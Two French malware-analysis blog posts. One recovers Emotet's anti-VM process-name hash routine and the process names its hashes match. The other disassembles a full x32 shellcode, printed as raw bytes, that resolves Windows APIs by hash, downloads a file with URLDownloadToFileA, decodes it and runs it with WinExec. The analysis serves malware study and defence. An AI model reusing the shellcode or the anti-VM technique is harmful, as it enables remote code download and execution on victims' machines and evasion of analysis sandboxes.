dimanche 23 septembre 2018

les Hashs du Malware Emotet



I.    Introduction

Emotet est classifié comme malware dans la catégorie cheval de troie ( Trojan ) , mais c'est 
un cheval de troie évolué et modulaire. Il fonctionne principalement comme un téléchargeur ou un dropper pour introduire d'autre programme malveillant.

Dans cette quelque ligne, nous allons revoir celui-ci, en  regardant uniquement la partie hash des processus servant a détecté les environnements virtualisés.
Le code utilisé sert à faire de l'anti-virtualisation au travers de la détection des processus trahissant
l'existance d'une machine virtuel type Vmware,HyperV, VirtualBox, VirtualPC ... etc.

I.    Algorithme de création des hashs


A partir d'information disparate existant sur le web, nous avions crée un tools permettant de disposer de l'algorithme de hash de Emotet en C++ pour cette partie des hashs représentant des noms de processus

Nous avions réalise ce programme pour déterminer les hashs non précisé sur le web.
Lorsque nous avons rechercher des informations sur ses hashs.

Il y avait que quatre processus ou l'on disposé du hash résultant que nous avons remis en dessous dans ce tableau

Nom du processus
Hash
vboxservice.exe
0xBCF398B5
vmacthlp.exe
0x2C967737
vmtoolsd.exe
0xE3EBFE44
vboxtray.exe
0x61F15513

Hors la liste des hashs était bien plus importante et contenait 15 hashs. Mais en cherchant, il y a pas informations accessible sur ses hashs. Hors N sites re pointant sur la même source initiale. 

Nous les avons remis en dessous dans un tableaux en C

DWORD MalwareEmotetListHashOfProcessNameTrackEnvirVirtualMachine [] =
{
0xBCF398B5, // vboxservice.exe  ( VBoxService.exe )
0x61F15513,   // vboxtray.exe
0xD8806134, 
0xC96D800E,                        
0x7D87B67D,       
0x2C967737,  //vmacthlp.exe
0x0C7F2BD9,
0x8BFF04B8,            
0xEF88AA77,
0x2023EE05, 
0x87725BFC,
0xB6521E80,             
0xAFED9FB6,                       
0x4EBEEE4C,                                   
0xE3EBFE44    //vmtoolsd.exe
};

Nous avons des outils permettant de casser par force brute les hashs lors de nos études de hashs inconnue.

Nous avons passer les hashs de la liste du malware Emotet au travers d'un outil dédier

Cela nous a donné les résultats suivant:

Hash
Nom des processus possibles
0xBCF398B5
VBoxfsadam.exe
VBoxahjoonf.exe
VBoxjuxoebt.exe
VBoxkptqtid.exe
VBoxservice.exe       ( VirtualBox )
0x61F15513
vboxtray.exe             ( VirtualBox )
ehfyehe.exe
xbbrbvt.exe
zunorwq.exe
0xD8806134
vboxsvc.exe               ( VirtualBox )
0xC96D800E
vbbhxlfij.exe 
prl_bfygksb.exe          
vboxrqpddne.exe
virtualbox.exe           ( VirtualBox )
vmgfltzwj.exe
0x7D87B67D
vmnat.exe                   ( VMware Workstation )
0x2C967737
vmacthlp.exe              ( VMware )
0x0C7F2BD9
vmware-authd.exe
0x8BFF04B8
vmware-pijkpde.exe 
xenfzejmkd.exe
vmwareqsftnsl.exe 
vmnetdhcp.exe           ( VMware Workstation )
xennocobee.exe               
crfxdeo.exe
lklcejb.exe
0xEF88AA77
vmware-usbarbitrator64.exe  ( VMware )
0x2023EE05
vmware-hostd.exe                    ( VMware )
0x87725BFC
vmware-tray.exe                      ( VMware )
0xB6521E80
vmware.exe                              ( VMware )
0xAFED9FB6
vmwarealiucwl.exe 
vmware-buyiuib.exe
prl_oyfbmvq.exe
prl_dthnebc.exe               <! Bizarre/ Non encore déterminer !>
Vuoietee.exe
0x4EBEEE4C
vmczpsvvj.exe     
vmwarelamxmoy.exe  
vmware-vmx.exe     (VMware Workstation 7)
0xE3EBFE44
vmtoolsd.exe            ( VMware )

Voici une capture de l'outil que nous avons réalisé pour effectuer la recherche des noms de processus pouvant correspondant au hash du malware.


Analyse de hash Emotet

 
























Nous mettons l'algorithme correspondant du malware Emotet

DWORD CalcCustomHashEmotet(const char* pProcessName)
{                 
           DWORD dwHash = 0x00000000;

            int i=0;
            do
            {
                        char c = pProcessName[i];

                        if( c >=  'A' && c <=  'Z' ) c = c + 0x20;

                        dwHash = dwHash * 0x0019660D + c + 0x3C6EF35F;
                       
                        i++ ;
            }while(pProcessName[i]!=0x00);

            return dwHash;
}

Dans exemple nous avons pris "VBoxservice.exe" qui donne le hash 0xBCF398B5

Lors d'une analyse, cela permet d'avoir un point d'accroche pour croiser les mécanismes utilisé par d'autres malwares.

I.    Les processus traqué pour Anti-VM


Nous remettons quelques processus de la listes que cherche Emotet
Cela permet de reconstruire le mode de détection de Anti-VM et croisé l'ordonancement avec la logique du développeur sur le tableau des hashs.

vboxtray.exe est un processus appartenant au "VirtualBox Guest Additions de Sun Microsystems" et donc trahi que le Windows est hébergé par VirualBox. Il est là pour gérer plus éléments d'intération dont la gestion du copier-coller

VBoxService.exe est un processus appartenant également à "VirtualBox Guest Additions de Sun Microsystems" et aussi trahi que le Windows est hébergé par VirualBox. Il est là pour la synchronisation avec l'hôte en autre.

vboxsvc.exe est un processus appartenant également à "VirtualBox" présent dans les processus d'une virtual machine hébergé par VirtualBox

Vmnat.exe fournit les services NAT aux machines virtuelles exécutées dans VMware Workstation.

vmacthlp.exe ( Vmware Physical Disk Helper Service ) et trahi que le windows est hébergé par Wmware.

Pour l'ensemble ce sont des composants des moteurs de virtualisation et ses processus sont déjà connu pour être moyen de tracer la présent d'environnement virtuel et faire de l'anti-VM au sein des malwares. Il n'y a pas de réel nouveauté dans les processus recherché. Le seul qui pour l'instant n'est pas encore déterminer suite à l'analyse est le hash 0xAFED9FB6.
Mais vu les autres l'intérêt de continuer semble pas utile. Tous simplement par le développeur au vu du tableau les a ranger dans l'ordre des moteurs de virtualisation et doit théoriquement décrire un processus pour VMware.

II.          IV Autre malwares


Il existe une multitude de méthode pour détecter les environnements d'analyse et cela est propre à beaucoups de malware. citons au autres exemple de malware "Rebhip" est capable de détecter toutes les machines virtuelles populaires ainsi que des outils d’analyse automatisés disponibles au public, tels que ThreatExpert, Anubis, CWSandbox et JoeBox. En termes de détection de VM, il est également capable de détecter VMWare, Virtual PC et Virtual Box tous comme Emotet.

Nous allons donc plutôt chercher vers d'autre partie du malware des éléments à investigué et regarder d'autre malware pour expliquer des technique Anti-VM différentes.


III.     Conclusions



L'intérêt de tracer la méthode utiliser par un malware pour détecter la présence d'une virtual machine et là pour pouvoir la neutralisé et rendre Anti-VM au sein du code du malware non impactant pour l'analyse tous en restant dans l'environnement virtualisé. Il existe différentes méthodes qui son donc à désactiver pour duper le malware pour qu'il effectue l'action pour là quelle il a été conçu tous en étant dans un contexte d'étude sécurisé . 

La méthode de Anti-VM que l'on vient de voir utilisant la partie analyse des processus pour trahir l'existence d'un environnement virtualisé est très courant et l'une des plus simple à mettre en place. Vous trouverez couramment cette technique lors de l'étude d'un malware.

Comprendre les processus recherché pour trahir la présent d'une machine virtuel et importante. Car les techniques étant similaire d'un malware à l'autre, il est plus simple de trouver d'une liste de processus correspondant à l'anti-vm utiliser dans un autre malware et aussi de trouver des hashs correspondant. le gain de temps n'est pas négligeable et vous permet de vous concentrer uniquement sur ce nouveau ou non trouvé de déterminer les algo de Hash s'ils sont standard ou non.

mardi 4 septembre 2018

Technique d'obfuscation de code


I.    Introduction


Revenons sur le shellcode X32 ou nous avons analysé la partie qui détecter une émulation de code. 
Nous avons indiqué qu'il y avait une autre partie intéressant à la fin du shellcode.

C'est ce que l'on va voir dans cette article l'analyse du fonction inconnue.

Nous remettons le  site en question ou ce trouve le shellcode :
"https://wasm.in/threads/pomogite-razobratsja-v-instrukcijax.22344/"

II.          Le shellcode 


Voici le shellcode X32 correspondant. Nous avons mis en rouge la partie qui sera étudié dans cette article


\x64\xA1\x18\x00\x00\x00\x8B\x40\x30\x8B\x40\x54\x8B\x40\x04\x8B
\x40\x04\x8B\x40\x04\x0D\x20\x00\x20\x00\x3D\x7C\x00\x77\x00\x74
\x01\xC3\x33\xC0\x64\x8B\x40\x30\x78\x0C\x8B\x40\x0C\x8B\x70\x1C
\xAD\x8B\x58\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C\x8B\x58\x3C\x6A
\x4E\x5A\xD1\xE2\x2B\xE2\x8B\xEC\xC7\x45\x10\x6E\x2E\x65\x78\xC7
\x45\x14\xFF\x01\x00\x00\xC7\x45\x00\x00\x00\x00\x00\xEB\x4F\x5A
\x52\x83\xEA\x56\x89\x55\x18\x56\x57\x8B\x73\x3C\x8B\x74\x33\x78
\x03\xF3\x56\x8B\x76\x20\x03\xF3\x33\xC9\x49\x50\x41\xAD\x33\xFF
\x36\x0F\xBE\x14\x03\x38\xF2\x74\x08\xC1\xCF\x0D\x03\xFA\x40\xEB
\xEF\x58\x3B\xF8\x75\xE5\x5E\x8B\x46\x24\x03\xC3\x66\x8B\x0C\x48
\x8B\x56\x1C\x03\xD3\x8B\x04\x8A\x03\xC3\x5F\x5E\x50\xC3\x8D\x7D
\x1C\x57\x52\xB8\x33\xCA\x8A\x5B\xE8\xA2\xFF\xFF\xFF\x32\xC0\x8B
\xF7\xF2\xAE\x4F\x8B\x45\x10\xAB\x66\x98\x66\xAB\x33\xC0\xB8\x61
\x64\x00\x00\x50\x68\x54\x68\x72\x65\x35\x24\x1C\x69\x74\x50\x54
\x53\xB8\xAA\xFC\x0D\x7C\xFF\x55\x18\x83\xC4\x0C\x50\xB0\x6C\x8A
\xE0\x98\x50\x68\x6F\x6E\x2E\x64\x68\x75\x72\x6C\x6D\x54\xB8\x8E
\x4E\x0E\xEC\xFF\x55\x18\x83\xC4\x0C\x93\x50\x33\xC0\x50\x50\x56
\x8B\x55\x18\x03\x55\x14\x52\x50\xB8\x36\x1A\x2F\x70\xFF\x55\x18
\x5B\x83\x7D\x00\x01\x0F\x85\x9E\x00\x00\x00\x6A\x00\x68\x80\x00
\x00\x00\x6A\x03\x6A\x00\x6A\x03\x68\x00\x00\x00\xC0\x56\xB8\xA5
\x17\x00\x7C\xFF\x55\x18\x89\x45\x04\x6A\x04\x68\x00\x10\x00\x00
\x68\x00\x00\x08\x00\x6A\x00\xB8\x54\xCA\xAF\x91\xFF\x55\x18\x89
\x45\x0C\x50\x6A\x00\x8D\x4D\x08\x51\x68\x00\x00\x08\x00\x50\xFF
\x75\x04\xB8\x16\x65\xFA\x10\xFF\x55\x18\x5F\x8B\x17\x83\xC7\x04
\x8B\x4D\x08\x83\xE9\x04\xE8\xA7\x00\x00\x00\x6A\x00\x6A\x00\x6A
\x00\xFF\x75\x04\xB8\xAC\x08\xDA\x76\xFF\x55\x18\x6A\x00\x8D\x4D
\x08\x51\xFF\x75\x08\xFF\x75\x0C\x83\x04\x24\x04\xFF\x75\x04\xB8
\x1F\x79\x0A\xE8\xFF\x55\x18\xFF\x75\x04\xB8\xFB\x97\xFD\x0F\xFF
\x55\x18\xC7\x45\x00\x02\x00\x00\x00\x57\x56\xB8\x98\xFE\x8A\x0E
\xFF\x55\x18\xEB\x2A\x18\x2A\xF9\xB7\xD2\x77\xB3\x01\x45\x8A\x92
\xB7\xAD\x50\x5D\xE4\x67\xF5\xE6\xC7\x1A\xBF\xAB\x1E\x10\x42\x76
\xA2\xA1\x54\x63\x09\x7B\x89\xB0\xF4\x97\x4E\x73\x93\x3F\xF1\x83
\x7D\x00\x02\x74\x60\xC7\x45\x00\x01\x00\x00\x00\xC7\x45\x10\x79
\x2E\x65\x78\xC7\x45\x14\x72\x01\x00\x00\x8B\x7D\x18\x03\x7D\x14
\xB9\x26\x00\x00\x00\x8B\x57\xFC\xE8\x05\x00\x00\x00\xE9\x7C\xFE
\xFF\xFF\x33\xC0\x8A\x07\xD2\xC8\x32\xC1\xF6\xD0\x32\xC5\x32\xC2
\x32\xC6\xD2\xC0\x02\xC1\x02\xC5\x02\xC2\x02\xC6\xD2\xC8\x2A\xC1
\x2A\xC5\xF6\xD0\x2A\xC2\x2A\xC6\xD2\xC0\xD3\xC2\x0F\xCA\x88\x07
\x47\x49\x75\xCE\xC3\xC3

Nous avons positionné l'analyse du shellcode effectué au travers de l'outil vu dans le précédent article et ciblé sur le bloc qui nous intéresse.

00000000 -> 00000021:  =>{BLOC}[IsCheckEmulationCodeX32V1 -> RET si Emulation] conçu only for OS/Win 32Bits
00000022 -> 0000003E:  =>{BLOC}[AsmGetKernel32_V14 -> EBX] conçu pour Win9X/NT
0000003F:   6A 4E                                 PUSH 4Eh (78) 'N'
00000041:   5A                                      POP EDX
00000042:   D1 E2                                 SHL EDX,1
00000044:   2B E2                                 SUB ESP,EDX
00000046:   8B EC                                 MOV EBP,ESP
00000048:   C7 45 10 6E 2E 65 78        MOV DWORD PTR [EBP+10h], 78652E6Eh "n.ex"
0000004F:   C7 45 14 FF 01 00 00        MOV DWORD PTR [EBP+14h], 000001FFh "ÿ"
00000056:   C7 45 00 00 00 00 00        MOV DWORD PTR [EBP+00h], 00000000h ""
0000005D:   EB 4F                                 JMP 4Fh +4Fh ->:000000AE)
0000005F:   5A                                      POP EDX
00000060:   52                                       PUSH EDX
00000061:   83 EA 56                            SUB EDX,56h
00000064:   89 55 18                             MOV DWORD PTR[EBP+18h],EDX
00000067 -> 000000AD:  =>ApiCall_V2[EAX:dwHashRor13Additive,EBX:hModule]
000000AE:   8D 7D 1C                           LEA EDI,[EBP+1Ch]
000000B1:   57                                      PUSH EDI
000000B2:   52                                      PUSH EDX
000000B3:   B8 33 CA 8A 5B                MOV EAX, 5B8ACA33h (5B8ACA33=Hash[ROR13(Additive)]('GetTempPathA'))
000000B8:   E8 A2 FF FF FF                  CALL FFFFFFA2h (-5Eh ->:0000005F)
000000BD:   32 C0                                 XOR AL,AL
000000BF:   8B F7                                 MOV ESI,EDI
000000C1:   F2 AE                                REPNE SCAS BYTE PTR ES:[EDI]
000000C3:   4F                                      DEC EDI
000000C4:   8B 45 10                            MOV EAX,DWORD PTR [EBP+10h]
000000C7:   AB                                     STOSD (Store EAX at address ES:(E)DI)
000000C8:   66 98                                 CBW
000000CA:   66 AB                                STOS WORD PTR ES:[EDI],AX
000000CC:   33 C0                                 XOR EAX,EAX
000000CE:   B8 61 64 00 00                  MOV EAX, 00006461h "ad"
000000D3:   50                                      PUSH EAX
000000D4:   68 54 68 72 65                  PUSH 65726854h "Thre" / {84 104 114 101} / < w:29285 | w:21608 >
000000D9:   35 24 1C 69 74                  XOR EAX,74691C24h
000000DE:   50                                      PUSH EAX
000000DF:   54                                      PUSH ESP
000000E0:   53                                       PUSH EBX
000000E1:   B8 AA FC 0D 7C                MOV EAX, 7C0DFCAAh  (7C0DFCAA=Hash[ROR13(Additive)]('GetProcAddress'))
000000E6:   FF 55 18                             CALL DWORD PTR [EBP+18h]
000000E9:   83 C4 0C                            ADD ESP,0Ch
000000EC:   50                                       PUSH EAX
000000ED:   B0 6C                                 MOV AL,0x6C
000000EF:   8A E0                                 MOV AH,AL
000000F1:   98                                       CWDE (Convert WorD to Extended) WORD=>DWORD EAX=0000XXXX
000000F2:   50                                       PUSH EAX
000000F3:   68 6F 6E 2E 64                   PUSH 642E6E6Fh "on.d" ( 642E6E6F = ('d.no') => PILE:on.d )
000000F8:   68 75 72 6C 6D                  PUSH 6D6C7275h "urlm" ( 6D6C7275 = ('mlru') => PILE:urlm )
000000FD:   54                                      PUSH ESP
000000FE:   B8 8E 4E 0E EC                  MOV EAX, EC0E4E8Eh  (EC0E4E8E=Hash[ROR13(Additive)]('LoadLibraryA'))
00000103:   FF 55 18                             CALL DWORD PTR [EBP+18h]
00000106:   83 C4 0C                            ADD ESP,0Ch
00000109:   93                                       XCHG EAX,EBX (Exchanges (swaps) the value of 2 registers)
0000010A:   50                                      PUSH EAX
0000010B:   33 C0                                 XOR EAX,EAX
0000010D:   50                                      PUSH EAX
0000010E:   50                                       PUSH EAX
0000010F:   56                                       PUSH ESI
00000110:   8B 55 18                            MOV EDX,DWORD PTR [EBP+18h]
00000113:   03 55 14                             ADD EDX,DWORD PTR[EBP+14h]
00000116:   52                                       PUSH EDX
00000117:   50                                       PUSH EAX
00000118:   B8 36 1A 2F 70                  MOV EAX, 702F1A36h (702F1A36=Hash[ROR13(Additive)]('URLDownloadToFileA'))
0000011D:   FF 55 18                            CALL DWORD PTR [EBP+18h]
00000120:   5B                                      POP EBX
00000121:   83 7D 00 01                       CMP DWORD PTR[EBP+00h],01h
00000125:   0F 85 9E 00 00 00              JNE 0000009Eh (+9Eh ->:000001C9)
0000012B:   6A 00                                 PUSH 00h (0) '
0000012D:   68 80 00 00 00                  PUSH 00000080h "€" / {128 0 0 0} / < w:0 | w:32768 >
00000132:   6A 03                                 PUSH 03h (3)
00000134:   6A 00                                 PUSH 00h (0) '
00000136:   6A 03                                 PUSH 03h (3)
00000138:   68 00 00 00 C0                  PUSH C0000000h "" / {0 0 0 192} / < w:192 | w:0 >
0000013D:   56                                      PUSH ESI
0000013E:   B8 A5 17 00 7C                 MOV EAX, 7C0017A5h "¥"
00000143:   FF 55 18                             CALL DWORD PTR [EBP+18h]
00000146:   89 45 04                             MOV DWORD PTR[EBP+04h],EAX
00000149:   6A 04                                 PUSH 04h (4)
0000014B:   68 00 10 00 00                  PUSH 00001000h "" / {0 16 0 0} / < w:0 | w:16 >
00000150:   68 00 00 08 00                   PUSH 00080000h "" / {0 0 8 0} / < w:2048 | w:0 >
00000155:   6A 00                                 PUSH 00h (0) '
00000157:   B8 54 CA AF 91                 MOV EAX, 91AFCA54h (91AFCA54=Hash[ROR13(Additive)]('VirtualAlloc'))
0000015C:   FF 55 18                            CALL DWORD PTR [EBP+18h]
0000015F:   89 45 0C                            MOV DWORD PTR[EBP+0Ch],EAX
00000162:   50                                       PUSH EAX
00000163:   6A 00                                 PUSH 00h (0) '
00000165:   8D 4D 08                            LEA ECX,[EBP+08h]
00000168:   51                                       PUSH ECX
00000169:   68 00 00 08 00                   PUSH 00080000h "" / {0 0 8 0} / < w:2048 | w:0 >
0000016E:   50                                       PUSH EAX
0000016F:   FF 75 04                             PUSH DWORD PTR [EBP+04h]
00000172:   B8 16 65 FA 10                  MOV EAX, 10FA6516h (10FA6516=Hash[ROR13(Additive)]('ReadFile'))
00000177:   FF 55 18                             CALL DWORD PTR [EBP+18h]
0000017A:   5F                                      POP EDI
0000017B:   8B 17                                 MOV EDX,DWORD PTR [EDI]
0000017D:   83 C7 04                            ADD EDI,04h
00000180:   8B 4D 08                            MOV ECX,DWORD PTR [EBP+08h]
00000183:   83 E9 04                             SUB ECX,04h
00000186:   E8 A7 00 00 00                  CALL 000000A7h (+A7h ->:00000232)
0000018B:   6A 00                                 PUSH 00h (0) '
0000018D:   6A 00                                 PUSH 00h (0) '
0000018F:   6A 00                                 PUSH 00h (0) '
00000191:   FF 75 04                             PUSH DWORD PTR [EBP+04h]
00000194:   B8 AC 08 DA 76                MOV EAX, 76DA08ACh  (76DA08AC=Hash[ROR13(Additive)]('SetFilePointer'))
00000199:   FF 55 18                             CALL DWORD PTR [EBP+18h]
0000019C:   6A 00                                 PUSH 00h (0) '
0000019E:   8D 4D 08                            LEA ECX,[EBP+08h]
000001A1:   51                                      PUSH ECX
000001A2:   FF 75 08                            PUSH DWORD PTR [EBP+08h]
000001A5:   FF 75 0C                            PUSH DWORD PTR [EBP+0Ch]
000001A8:   83 04 24 04                       ADD DWORD PTR [ESP],04h
000001AC:   FF 75 04                            PUSH DWORD PTR [EBP+04h]
000001AF:   B8 1F 79 0A E8                 MOV EAX, E80A791Fh  (E80A791F=Hash[ROR13(Additive)]('WriteFile'))
000001B4:   FF 55 18                            CALL DWORD PTR [EBP+18h]
000001B7:   FF 75 04                            PUSH DWORD PTR [EBP+04h]
000001BA:   B8 FB 97 FD 0F                 MOV EAX, 0FFD97FBh "û—ý"
000001BF:   FF 55 18                            CALL DWORD PTR [EBP+18h]
000001C2:   C7 45 00 02 00 00 00        MOV DWORD PTR [EBP+00h], 00000002h "[1]"
000001C9:   57                                      PUSH EDI
000001CA:   56                                      PUSH ESI
000001CB:   B8 98 FE 8A 0E                 MOV EAX, 0E8AFE98h  (0E8AFE98=Hash[ROR13(Additive)]('WinExec'))
000001D0:   FF 55 18                            CALL DWORD PTR [EBP+18h]
000001D3:   EB 2A                                JMP 2Ah +2Ah ->:000001FF)
000001D5:   18 2A                                 SBB BYTE PTR[EDX],CH
000001D7:   F9                                      STC         // Set Carry Flag (Arme le drapeau de retenue)
000001D8:   B7 D2                                 MOV BH,D2h
000001DA:   77 B3                                JA B3h (Jump if Above)(-4Dh ->:0000018F)
000001DC:   01 45 8A                           ADD DWORD PTR[EBP-0x76],EAX
000001DF:   92                                      XCHG EAX,EDX (Exchanges (swaps) the value of 2 registers)
000001E0:   B7 AD                                MOV BH,ADh
000001E2:   50                                       PUSH EAX
000001E3:   5D                                      POP EBP
000001E4:   E4 67                                  IN AL,0x67
000001E6:   F5                                       CMC
000001E7:   E6 C7                                 OUT 0xC7,AL
000001E9:   1A BF AB 1E 10 42            SBB BH,BYTE PTR[EDI+0x42101EAB]
000001EF:   76 A2                                 JBE A2h (rel8)(-5Eh ->:00000193)
000001F1:   A1 54 63 09 7B                  MOV EAX,DWORD PTR[7B096354h]
000001F6:   89 B0 F4 97 4E 73             MOV DWORD PTR[EAX+0x734E97F4],ESI
000001FC:   93                                      XCHG EAX,EBX (Exchanges (swaps) the value of 2 registers)
000001FD:   3F                                      AAS        (ASCII adjust AL after subtraction)
000001FE:   F1                                       ICEBP    (INT01 (ICE BreakPoint))
000001FF:   83 7D 00 02                       CMP DWORD PTR[EBP+00h],02h
00000203:   74 60                                  JZ 0x60 (+60h ->:00000265)
00000205:   C7 45 00 01 00 00 00        MOV DWORD PTR [EBP+00h], 00000001h ""
0000020C:   C7 45 10 79 2E 65 78        MOV DWORD PTR [EBP+10h], 78652E79h "y.ex"
00000213:   C7 45 14 72 01 00 00        MOV DWORD PTR [EBP+14h], 00000172h "r"
0000021A:   8B 7D 18                           MOV EDI,DWORD PTR [EBP+18h]
0000021D:   03 7D 14                            ADD EDI,DWORD PTR [EBP+14h]
00000220:   B9 26 00 00 00                  MOV ECX, 00000026h "&"
00000225:   8B 57 FC                            MOV EDX,[EDI-04h]
00000228:   E8 05 00 00 00                   CALL 00000005h (+05h ->:00000232)
0000022D:   E9 7C FE FF FF                  JMP FFFFFE7Ch (-FFFFFE7Ch ->:000000AE)
00000232:   33 C0                                 XOR EAX,EAX
00000234:   8A 07                                 MOV AL, BYTE PTR [EDI]
00000236:   D2 C8                                 ROR AL,CL
00000238:   32 C1                                 XOR AL,CL
0000023A:   F6 D0                                 NOT AL
0000023C:   32 C5                                XOR AL,CH
0000023E:   32 C2                                 XOR AL,DL
00000240:   32 C6                                 XOR AL,DH
00000242:   D2 C0                                 ROL AL,CL
00000244:   02 C1                                 ADD AL,CL
00000246:   02 C5                                 ADD AL,CH
00000248:   02 C2                                 ADD AL,DL
0000024A:   02 C6                                ADD AL,DH
0000024C:   D2 C8                                ROR AL,CL
0000024E:   2A C1                                SUB AL,CL
00000250:   2A C5                                SUB AL,CH
00000252:   F6 D0                                 NOT AL
00000254:   2A C2                                SUB AL,DL
00000256:   2A C6                                SUB AL,DH
00000258:   D2 C0                                 ROL AL,CL
0000025A:   D3 C2                                ROL EDX,CL
0000025C:   0F CA                                BSWAP EDX
0000025E:   88 07                                  MOV [EDI],AL
00000260:   47                                       INC EDI
00000261:   49                                       DEC ECX
00000262:   75 CE                                 JNZ CEh (rel8)(-32h ->:00000232)
00000264:   C3                                      RET
00000265:   C3                                      RET

Nous voyons un call en ligne 0x00000186 qui point vers l'adresse 0x00000232. Et quand on va à cette endroit on peut distinguer une fonction avec plusieurs opérations consécutives avec des opérations ROR, ROL , NOT , ADD , SUB.. etc

Cela ressemble à de la transformation d'octet. Ce qui est facile à voir vu les premiers instructions

00000232:   33 C0                                XOR EAX,EAX
00000234:   8A 07                                MOV AL, BYTE PTR [EDI]

qui caractérise de mettre dans le registre AL le BYTE(octet) ce trouvant à l'adresse contenu dans EDI

On reconnaît également une boucle à ligne de fin

00000261:   49                                     DEC ECX
00000262:   75 CE                               JNZ CEh (rel8)(-32h ->:00000232)

Ce qui est assez bizarre et que l'opération dans cette boucle concerne également le registre EDX qui est aussi définit avant le call vers ce bloc.

Au début , nous avons pensé à une fonction de Hash lié au ROR et ROL camouflé avec des opérations ce neutralisant. Cela ne colle pas trop, donc comme on supposait que la fonction était de la forme Fn(char* p , DWORD nSize, DWORD dwJeSaisPasAQuoiTuEsUtile );

Pour simplifier on a réduit le nombre de paramètre en neutralisant le registre EDX

En découpant sur deux tableaux l'un avec EDX = 0x00000000  pour distinguer les traitements sur la chaîne sans l'interaction du registre EDX sur celle-ci.

Et le traitement propre sur le registre EDX dans la boucle indépendamment 

Nous arrivons au tableau en dessous:


Code avec EDX = 0x00000000
Code sur EDX dans la boucle seul
00000232:   33 C0                  XOR EAX,EAX
00000234:   8A 07                 MOV AL, BYTE PTR [EDI]
00000236:   D2 C8                                 ROR AL,CL
00000238:   32 C1                                 XOR AL,CL
0000023A:   F6 D0                                 NOT AL
0000023C:   32 C5                                 XOR AL,CH
0000023E:  
00000240:  
00000242:   D2 C0                                 ROL AL,CL
00000244:   02 C1                                 ADD AL,CL
00000246:   02 C5                                 ADD AL,CH
00000248:  
0000024A: 
0000024C:   D2 C8                                 ROR AL,CL
0000024E:   2A C1                                 SUB AL,CL
00000250:   2A C5                                 SUB AL,CH
00000252:   F6 D0                                 NOT AL
00000254:  
00000256:  
00000258:   D2 C0                                 ROL AL,CL
0000025A:  
0000025C:  
0000025E:   88 07                                  MOV [EDI],AL
00000260:   47                                       INC EDI
00000261:   49                       DEC ECX
00000262:   75 CE                  JNZ CEh (rel8)(-32h ->:00000232)
00000264:   C3                       RET

00000232:   33 C0                  XOR EAX,EAX
00000234:   8A 07                 MOV AL, BYTE PTR [EDI]
00000236:  
00000238:  
0000023A:  
0000023C:  
0000023E:  
00000240:  
00000242:  
00000244:
00000246:  
00000248:  
0000024A:  
0000024C:  
0000024E:  
00000250:  
00000252:  
00000254:  
00000256:  
00000258: 
0000025A:   D3 C2                                ROL EDX,CL
0000025C:   0F CA                                BSWAP EDX
0000025E:  
00000260:  
00000261:   49                       DEC ECX
00000262:   75 CE                  JNZ CEh (rel8)(-32h ->:00000232)
00000264:   C3                       RET


On voit que ECX et décrémenté d'une valeur N vers 0 et qu'elle sert dans la transformation
ce qui aussi a croiser avec le fait que le DWORD contenu subit aussi des modifications à chaque itération de la boucle et un sur tous un ROL fonction de CL donc de ECX.

De là on peut écarter les packers de type à key constant

- Encoder XOR Const Key BYTE
- Encoder SUB Const Key DWORD
- Encoder XOR Const Key DWORD
....etc

Ce code est plus proche d'un "Shikata Ga Nai Encoder" dans l'esprit avec ce ROL et la key qui est modifié à chaque itération. Mais les actions sur l'octet cela est loin d'aller dans ce sens.

En posant l'hypothèse que EDX est la KeyInitial de cryptage/décryptage ,on pourrait plus imaginer que c'est un packer d'une forme exotique sans essayer de faire des correspondances à d'ancien Shellcode analysé. 

Partons de ce postulat ,cela nous donne une fonction de la forme suivant: 

VOID FnDecodeDataByKeyDWORD(CHAR* pMemory,DWORD dwSize, DWORD dwKeyDecode);

Nous avons pris le partie de parler de décodage, car l'intérêt même de l'ensemble du shellcode
et de télécharger un binaire, il faut obligatoirement une Url qui n'est pas visible dans le code.
De plus comme il y a des Apis qui sont appelées pour des opérations sur des fichiers. 
On peut pousser le raisonnement que l'on aurait besoin de décoder le flux téléchargé pour obtenir le code exacte et que notre fonction et utiliser potentiellement pour cela.

Comme dit cela n'est qu'une supposition dans le nomde la fonction possible. il est toujours important de garder à l'esprit que nous construction du démarche d'analyse et que le nom est donc arbitraire
à ce stade.Mais présenti comme rôle et fonction.

En regardant de plus prés pour voir ou les appels de CALL. nous avons mis en gras les appels vers  cette fonction. Nous avons détecté que notre outils a pas pris deux HASHs 

Au ligne suivant:

0000013E:   B8 A5 17 00 7C          MOV EAX, 7C0017A5h "¥"
00000143:    FF 55 18                     CALL DWORD PTR [EBP+18h]

000001BA:   B8 FB 97 FD 0F         MOV EAX, 0FFD97FBh "û—ý"
000001BF:   FF 55 18                     CALL DWORD PTR [EBP+18h]

Cela peut nous aider pour comprendre des actions pas visible au premier coup d'œil dans le shellcode.
Nous prenons une peu de temps pour regarder ce point avant de revenir au Call.

Théoriquement étant des listes de Hash dynamique, hormis si une exclusion a été mis dans l'outil lors de l'étude d'un autre shellcode. Il aurait du détecter ses hashs basiques

En utilisant un autre outil dédié à la recherche de hash, il est rapide de contrôler cela.

 




















 






















 Donc cela nous donne nos 2 hashs manquant

7C0017A5h (7C0017A5=Hash[ROR13(Additive)]('CreateFileA'))
0FFD97FBh (0FFD97FB =Hash[ROR13(Additive)]('CloseHandle'))

Mais cela donne pas grand chose de plus pour l'analyse de la fonction au niveau du shellcode.

La seul partie qui peut nous aider en l'état est le passage des paramètres avant l'appel au call et des deux celui-ci qui semble le plus intéressant et celui remis en dessous:

00000205:   C7 45 00 01 00 00 00        MOV DWORD PTR [EBP+00h], 00000001h ""
0000020C:   C7 45 10 79 2E 65 78        MOV DWORD PTR [EBP+10h], 78652E79h "y.ex"
00000213:   C7 45 14 72 01 00 00        MOV DWORD PTR [EBP+14h], 00000172h "r"
0000021A:   8B 7D 18                           MOV EDI,DWORD PTR [EBP+18h]
0000021D:   03 7D 14                            ADD EDI,DWORD PTR [EBP+14h]
00000220:   B9 26 00 00 00                  MOV ECX, 00000026h "&"
00000225:   8B 57 FC                            MOV EDX,[EDI-04h]
00000228:   E8 05 00 00 00                   CALL 00000005h (+05h ->:00000232)

On peut déterminer que le buffer passé fait 38 (0x26) octets. Comme on le voit dans le code assembleur du shellcode. Chaque appel et construit de la manière suivant:

00000194:   B8 AC 08 DA 76                MOV EAX, 76DA08ACh  (76DA08AC=Hash[ROR13(Additive)]('SetFilePointer'))
00000199:   FF 55 18                            CALL DWORD PTR [EBP+18h]

000001AF:   B8 1F 79 0A E8                 MOV EAX, E80A791Fh  (E80A791F=Hash[ROR13(Additive)]('WriteFile'))
